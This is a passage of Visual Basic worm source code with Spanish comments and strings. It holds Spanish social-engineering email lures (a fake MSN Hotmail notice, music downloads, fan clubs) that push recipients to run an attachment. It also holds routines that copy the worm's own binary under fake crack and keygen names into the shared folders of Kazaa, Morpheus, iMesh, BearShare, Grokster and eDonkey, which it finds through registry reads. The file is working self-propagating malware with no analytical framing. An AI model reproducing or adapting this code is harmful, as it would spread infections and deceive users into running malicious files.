Case 12: asunto = "Vota por tus artistas de la Academia 3"
        contenido = "Ahora ya puedes votar y ganar por medio de tu correo, solo instala el programa adjunto y vota por tu artista preferido"
        nombrezip = "Vota y Gana"
Case 13: asunto = "Fw: Como saber si tienes un admirador secreto"
        contenido = "Con este test podrás saber si tienes un admirador secreto y darte cuenta paso a paso de quien es, te va a encantar"
        nombrezip = "Test del admirador secreto"
Case 14: asunto = "Fw: Club fans de Christian Castro"
        contenido = "Únete al club de fans 'Te llamé' de Christian Castro sólo contesta el test adjunto y solito se envía, esperamos que te unas ¡Gracias!"
        nombrezip = "Club Fans"
Case 15: asunto = "Aviso Importante"
        contenido = "MSN Hotmail" & Chr(34) & " & vbCrLf & " & Chr(34) & "     De antemano, disculpe las molestias que este ocacione:" & Chr(34) & " & vbCrLf & " & Chr(34) & "Por este medio queremos constatar que puede ampliar" & Chr(34) & " & vbCrLf & " & Chr(34) & _
        "su correo electrónio a 6 megabytes de capacidad sólo dandose de alta con el archivo aqui adjunto." & Chr(34) & " & vbCrLf & " & Chr(34) & "                    Atte:" & Chr(34) & " & vbCrLf & " & Chr(34) & "    T1 MSN Hotmail."
        nombrezip = "MSN Hotmail"
Case 16: asunto = "Fw: Snoopy"
        contenido = "Fw: ana_patricia@hotmail.com" & Chr(34) & " & vbCrLf & " & Chr(34) & "for: karina_13@hotmail.com,rocio234@hotmail.com, rosa_aura@hotmail.com, rosa_aura@hotmail.com, beto_eres12@yahoo.com, hello_kitty@msn.com, fresita_18@hotmail.com, morusa@hotmai.com, " & _
        "snoopy_14@hotmail.com, elrasta13@yahoo.com, gigabyte@hotmail.com, rocio_ferrero@hotmail.com, vx_morusa@msn.com, anasujeis@hotmail.com" & Chr(34) & " & vbCrLf & " & Chr(34) & _
        "Holas:" & Chr(34) & " & vbCrLf & " & Chr(34) & "Checa esta animación de Snoopy y sus tonterias, te va a fascinar"
        nombrezip = "Snoopy"
Case 17: asunto = "Fw: nuevo programa para bajar musica"
        contenido = "Con este programa puedes bajar y encontrar todas las canciones, es derivado del Audiogalaxy, esta recomendado"
        nombrezip = "AudioMusicEx"
Case 18: asunto = "Ovnis UFO"
        contenido = "Baja videos de ovnis que fueron captados por la NASA,UFO y videoaficionados, son videos censurados por la CIA y nosotros los traemos hasta ustedes,tan sólo conectate con el programa adjunto y bájalos gratis, tambien puedes bajar misteriosos sucesos, significado de las piràmides, códices decifrados, etc."
        nombrezip = "Cyrux"
Case 19: asunto = "Música"
        contenido = "Te informamos que puedes bajar la música en Mp3 teniendo el Disco original de este, con sólo introducir el código de barras de tu disco puedes bajar otro que tu quieras !gratis¡ " & _
        "Es un golpe más para la piratería, sólo instala el programa adjunto para conectarte al servidor de www.sonymusic.com que esta afiliada a warner y fonovisa entre otros."
        nombrezip = "SonyMusic"
Case 20: asunto = "Fw: Antagonistas"
        contenido = "Aqui te mando una animación de los antagonistas para que rias hasta..."
        nombrezip = "Antagonistas"
End Select

Call vbsenviarmail(asunto, contenido, nombrezip)
End Sub

Sub p2pnombres(p2pprograma As String)
Dim au As Integer
Dim nombre As String
Dim nombrevir As String

Dim vir As String
'au = Rnd() * 20

Open midir For Binary As #5
vir = Space(LOF(5))
Get #5, , vir
Close #5

On Error Resume Next

For au = 0 To 25

Select Case au
Case 0: nombre = "Crack de winzip 9"
        nombrevir = "crack Winzip"
Case 1: nombre = "Half life 2 Crack"
nombrevir = "Crack HL 2"
Case 2: nombre = "Office 2003 Crack"
nombrevir = "Crack Office 2003"
Case 3: nombre = "Windows 2003 seriales"
nombrevir = "Win 2003 Keygenerator"
Case 4: nombre = "Windows 98 Seriales"
nombrevir = "Win 98 Keygenerator"
Case 5: nombre = "Windows Me seriales"
nombrevir = "WinMe KeyGenerator"
Case 6: nombre = "Musicmatch 8.x crack "
nombrevir = "Crack MusicMatch Jukebox"
Case 7: nombre = "Nero 6.x crack"
nombrevir = "Crack Nero 6.x"
Case 8: nombre = "Kof2003 neoragex emulador"
nombrevir = "Neoragex parche para Kof2003"
Case 9: nombre = "Windows Xp Home serial number"
nombrevir = "WinXp Home KeyGenerator"
Case 10: nombre = "Windows Xp Profesional serial number"
nombrevir = "WinXp Profesional Serials"
Case 11: nombre = "Office Xp crack"
nombrevir = "Keygenerator Office Xp"
Case 12: nombre = "Emurayden Xp"
nombrevir = "Setup"
Case 13: nombre = "Half life Keygenerator"
nombrevir = "HLKeygenerator"
Case 14: nombre = "Half life opossing force crack"
nombrevir = "Opossing crack"
Case 15: nombre = "Visual Basic keygenerator"
nombrevir = "Keygenerator"
Case 16: nombre = "Delphi all versions keygen"
nombrevir = "Keygenerator"
Case 17: nombre = "Norton Antivirus 2004 keygen"
nombrevir = "NAV Keygenerator"
Case 18: nombre = "Panda Antivirus Titanium Keygenrator for all versions"
nombrevir = "PAT Keygen"
Case 19: nombre = "Mcafee Antivirus Scan Crack"
nombrevir = "McAfee Scan keygen"
Case 20: nombre = "MSN Poligammy for 6.x"
nombrevir = "Poligammy for MSN 6.x"
Case 21: nombre = "Messenger Plus"
nombrevir = "MSN Plus"
Case 22: nombre = "Kazaa lite 2_3_5"
nombrevir = "Kazaa lite"
Case 23: nombre = "Kazaa lite 3_1_0"
nombrevir = "Kazaa lite ++"
Case 24: nombre = "Musicmatch 9.x crack "
nombrevir = "Crack MusicMatch Jukebox 9"
Case Else
 nombre = "EDonkey"
 nombrevir = "P2P Edonkey"
End Select

If winzip <> "" Then
  Call crearexe(vir, nombrevir, False, "")

  Call creararchivoparap2p(nombre, nombrevir, p2pprograma)
Else
  Call crearexe(vir, nombre, True, p2pprograma)
End If

Next

End Sub
Sub crearexe(vir As String, nombrevir As String, winzip As Boolean, p2programa As String)
On Error Resume Next

If winzip = False Then
 Open fso.getspecialfolder(1) & "\" & nombrevir & ".exe" For Binary As #5
 Put #5, , vir
 Close #5
Else
 Open fso.buildpath(p2programa, nombrevir & ".exe") For Binary As #5
 Put #5, , vir
 Close #5
End If

Close

DoEvents

End Sub

Sub copiararchivoparap2p(borrar, nombre As String, p2pprograma As String)
'p2p va a contener el directorio de kazaa o de morpheus, etc.

 'p2p = "C:\archivos de programa\kazaa\my shared folder"

FileCopy borrar, fso.buildpath(p2pprograma, nombre & ".zip")

End Sub
Sub creararchivoparap2p(nombre As String, nombrevir As String, p2pprograma As String)
Dim tam As Double
Dim au, pathzip
Dim au2, patharch
On Error GoTo err:

Open fso.getspecialfolder(1) & "\" & nombre & ".zip" For Output As #1
Close #1

Set au = fso.getfile(fso.getspecialfolder(1) & "\" & nombre & ".zip")
pathzip = au.shortpath

Set au2 = fso.getfile(fso.getspecialfolder(1) & "\" & nombrevir & ".exe")
patharch = au2.shortpath
Close

 Shell winzip & " -a " & pathzip & " " & patharch, vbHide
 
DoEvents

'Pausa
While randon = False
Wend

Call copiararchivoparap2p(pathzip, nombre, p2pprograma)

Kill fso.getspecialfolder(1) & "\" & nombrevir & ".exe"
Kill pathzip
err:
End Sub
Function randon() As Boolean
Dim i As Double
Randomize
i = Rnd() * 5000
DoEvents
If Int(i) = 152 Then
 randon = True
End If
End Function
Function p2pdownloads()
Dim adp As String
On Error Resume Next
kazaa = wss.regread("HKLM\software\kazaa\Localcontent\DownloadDir")
kazaaplusplus = wss.regread("HKLM\software\kazaa\Localcontent\DownloadDir")
morpheus = wss.regread("HKLM\software\morpheus\install_dir") & "\downloads"
imesh = wss.regread("HKLM\software\iMesh\Client\Localcontent\DownloadDir")

adp = wss.regread("HKLM\Software\Microsoft\Windows\Currentversion\ProgramFilesDir")

If fso.folderexists(adp & "\BearShare\Shared") Then
  bearshare = adp & "\BearShare\Shared"
End If
If fso.folderexists(adp & "\Grokster\My Grokster") Then
  grokster = adp & "\Grokster\My Grokster"
End If
If fso.folderexists(edonkey = adp & "Edonkey2000\Incoming") Then
  edonkey = adp & "Edonkey2000\Incoming"
End If


''''''''''''''''''Red''P2p''''''''''''''''''''
If kazaa <> "" Then
  Call p2pnombres(kazaa)
End If
''''''
If kazaaplusplus <> "" Then
  Call p2pnombres(kazaaplusplus)
End If
''''''
If morpheus <> "" Then
  Call p2pnombres(morpheus)
End If
'''''''
If imesh <> "" Then
  Call p2pnombres(imesh)
End If
''''''
If bearshare <> "" Then
  Call p2pnombres(bearshare)
End If
'''''
If grokster <> "" Then
  Call p2pnombres(grokster)
End If
'''''
If edonkey <> "" Then
  Call p2pnombres(edonkey)
End If
'''''''''''''''''''''''''''''''''''''''''
End Function